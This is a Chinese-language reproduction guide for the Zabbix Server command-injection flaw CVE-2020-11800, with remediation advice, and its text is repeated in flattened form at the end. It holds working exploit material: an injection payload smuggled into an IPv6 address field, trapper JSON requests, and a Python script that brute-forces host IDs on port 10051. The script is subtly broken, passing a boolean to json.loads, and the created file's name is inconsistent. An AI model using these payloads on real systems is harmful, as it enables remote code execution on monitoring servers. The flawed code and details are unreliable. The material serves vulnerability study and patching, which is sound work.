CVE-2020-11800 zabbix RCE漏洞细节披露
字数 1193 2025-08-18 17:33:28

Zabbix远程代码执行漏洞(CVE-2020-11800)分析与复现指南

漏洞概述

CVE-2020-11800是Zabbix监控系统中存在的一个远程代码执行漏洞,影响Zabbix Server的trapper命令处理功能。该漏洞允许攻击者通过命令注入实现远程代码执行,CVSSv3评分为9.0(高危)。

影响范围

漏洞原理

该漏洞与早期漏洞CVE-2017-2824原理相同,都是由于IP地址验证不充分导致的命令注入问题:

  1. 漏洞根源:Zabbix Server在处理自动注册功能时,对IP地址的验证存在缺陷
  2. 修复绕过:虽然3.0.x版本修复了IPv4的验证问题,但IPv6验证仍可被绕过
  3. 注入方式:攻击者可构造特殊格式的IPv6地址(如ffff:::;touch /tmp/1234pwn)绕过验证

漏洞复现步骤

1. 配置自动注册规则

  1. 登录Zabbix Portal
  2. 导航至ConfigurationActions
  3. Event source调整为Auto registration
  4. 点击Create action
    • 第一个页签:填写任意名称
    • 第二个页签:设置条件(为复现方便可留空)
    • 第三个页签:选择Add host操作

2. 注册恶意主机

发送以下trapper命令进行主机注册:

{
  "request": "active checks",
  "host": "helloworld",
  "ip": "ffff:::;touch /tmp/1234pwn"
}

3. 爆破hostid

使用以下Python代码片段爆破获取上一步添加主机的hostid:

def doCmd(ip, cmd):
    s = remote(ip, 10051)
    length = len(cmd)
    payload = 'ZBXD' + '\x01' + p32(length) + p32(0) + cmd
    s.send(payload)
    rsp = s.recv(400)
    info = json.loads(rsp)['info']
    print info
    if info.startswith('Unknown Host ID'):
        s.close()
        return False
    s.close()
    return True

def hostid_bruteforce():
    for ip in ipList:
        try:
            for i in range(10000, 20000):
                cmd_fmt = '{"request":"command","scriptid":"3","hostid":"%d","nodeid":"0"}'
                cmd = cmd_fmt%i
                rsp = doCmd(ip, cmd)
                try:
                    r = json.loads(rsp)['response']
                    if r == 'success':
                        print 'hostid = %d' % i
                except Exception as e:
                    print e                    
        except Exception as e:
            print e

4. 触发命令注入

获取hostid后,发送以下命令触发RCE:

{
  "request": "command",
  "scriptid": "1",
  "hostid": "10106",
  "nodeid": "0"
}

成功执行后将在服务器上创建/tmp/1234pwn文件。

漏洞分析

  1. 攻击路径

    • 利用自动注册功能添加恶意主机
    • 通过IPv6地址格式绕过验证注入命令
    • 执行系统命令实现RCE
  2. 技术细节

    • 自动注册功能本意是允许agent主动注册到server
    • 漏洞点在active checks命令字处理逻辑
    • 构造的IPv6地址ffff:::;touch /tmp/1234pwn绕过验证
    • 最终执行的命令变为:/bin/ping -c 3 ;touch /tmp/zabbix_pwned 2>&1

修复建议

  1. 官方修复:升级至最新版本
  2. 临时缓解
    • 禁用自动注册功能
    • 加强IP地址验证逻辑
    • 限制Zabbix Server的10051端口访问

参考链接

  1. CVE-2020-11800官方记录
  2. Zabbix官方问题追踪(ZBX-17600)
  3. Zabbix安全公告(ZBXSEC-30)
  4. 相关漏洞CVE-2017-2824分析

注意事项

  1. 该漏洞利用需要服务端配置开启自动注册或Zabbix Proxy自动发现功能
  2. 实际环境中hostid爆破可能需要调整范围
  3. 测试前请确保获得系统所有者授权,避免违反法律法规
Zabbix远程代码执行漏洞(CVE-2020-11800)分析与复现指南 漏洞概述 CVE-2020-11800是Zabbix监控系统中存在的一个远程代码执行漏洞,影响Zabbix Server的trapper命令处理功能。该漏洞允许攻击者通过命令注入实现远程代码执行,CVSSv3评分为9.0(高危)。 影响范围 受影响版本 :Zabbix 3.0.x至3.0.30 官方下载 : Zabbix 3.0下载页面 漏洞原理 该漏洞与早期漏洞CVE-2017-2824原理相同,都是由于IP地址验证不充分导致的命令注入问题: 漏洞根源 :Zabbix Server在处理自动注册功能时,对IP地址的验证存在缺陷 修复绕过 :虽然3.0.x版本修复了IPv4的验证问题,但IPv6验证仍可被绕过 注入方式 :攻击者可构造特殊格式的IPv6地址(如 ffff:::;touch /tmp/1234pwn )绕过验证 漏洞复现步骤 1. 配置自动注册规则 登录Zabbix Portal 导航至 Configuration → Actions 将 Event source 调整为 Auto registration 点击 Create action : 第一个页签:填写任意名称 第二个页签:设置条件(为复现方便可留空) 第三个页签:选择 Add host 操作 2. 注册恶意主机 发送以下trapper命令进行主机注册: 3. 爆破hostid 使用以下Python代码片段爆破获取上一步添加主机的hostid: 4. 触发命令注入 获取hostid后,发送以下命令触发RCE: 成功执行后将在服务器上创建 /tmp/1234pwn 文件。 漏洞分析 攻击路径 : 利用自动注册功能添加恶意主机 通过IPv6地址格式绕过验证注入命令 执行系统命令实现RCE 技术细节 : 自动注册功能本意是允许agent主动注册到server 漏洞点在 active checks 命令字处理逻辑 构造的IPv6地址 ffff:::;touch /tmp/1234pwn 绕过验证 最终执行的命令变为: /bin/ping -c 3 ;touch /tmp/zabbix_pwned 2>&1 修复建议 官方修复 :升级至最新版本 临时缓解 : 禁用自动注册功能 加强IP地址验证逻辑 限制Zabbix Server的10051端口访问 参考链接 CVE-2020-11800官方记录 Zabbix官方问题追踪(ZBX-17600) Zabbix安全公告(ZBXSEC-30) 相关漏洞CVE-2017-2824分析 注意事项 该漏洞利用需要服务端配置开启自动注册或Zabbix Proxy自动发现功能 实际环境中hostid爆破可能需要调整范围 测试前请确保获得系统所有者授权,避免违反法律法规